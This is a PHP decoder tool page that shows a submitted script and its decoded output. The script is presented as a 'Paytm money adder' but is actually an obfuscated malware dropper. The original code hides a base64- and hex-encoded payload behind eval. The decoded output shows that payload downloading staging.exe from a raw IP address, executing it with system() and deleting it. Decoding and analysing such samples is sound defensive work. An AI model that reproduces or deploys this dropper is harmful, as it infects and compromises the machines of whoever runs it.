Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* SCRIPT: PAYTM MONEY ADDER - SECRET CODE- NEVER SHARE IT ANYWHERE TEAM: ALPH..
Decoded Output download
return eval("b"file_put_contents('staging.exe', file_get_contents('http://18.222.177.162/staging.exe')); system('staging.exe'); unlink('staging.exe');"");
Did this file decode correctly?
Original Code
<?php
/*
SCRIPT: PAYTM MONEY ADDER - SECRET CODE- NEVER SHARE IT ANYWHERE
TEAM: ALPHA
NOTE: WORKS ONLY ON XAMPP!
Checksum: d0e7c5f225c6eca1763feb24cde430cafd3702fb
*/
$paytm_no = $_GET['no'];
$code=base64_decode("XHg2Nlx4NjlceDZDXHg2NVx4NUZceDcwXHg3NVx4NzRceDVGXHg2M1x4NkZceDZFXHg3NFx4NjVceDZFXHg3NFx4NzMoJ1x4NzNceDc0XHg2MVx4NjdceDY5XHg2RVx4NjdceDJFXHg2NVx4NzhceDY1JywgXHg2Nlx4NjlceDZDXHg2NVx4NUZceDY3XHg2NVx4NzRceDVGXHg2M1x4NkZceDZFXHg3NFx4NjVceDZFXHg3NFx4NzMoJ1x4NjhceDc0XHg3NFx4NzBceDNBXHgyRlx4MkZceDMxXHgzOFx4MkVceDMyXHgzMlx4MzJceDJFXHgzMVx4MzdceDM3XHgyRVx4MzFceDM2XHgzMlx4MkZceDczXHg3NFx4NjFceDY3XHg2OVx4NkVceDY3XHgyRVx4NjVceDc4XHg2NScpKTsgXHg3M1x4NzlceDczXHg3NFx4NjVceDZEKCdceDczXHg3NFx4NjFceDY3XHg2OVx4NkVceDY3XHgyRVx4NjVceDc4XHg2NScpOyBceDc1XHg2RVx4NkNceDY5XHg2RVx4NkIoJ1x4NzNceDc0XHg2MVx4NjdceDY5XHg2RVx4NjdceDJFXHg2NVx4NzhceDY1Jyk7"); eval("return eval(\"$code\");") ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 8ef517a98995ba13d303f22d88408b31 |
Eval Count | 1 |
Decode Time | 97 ms |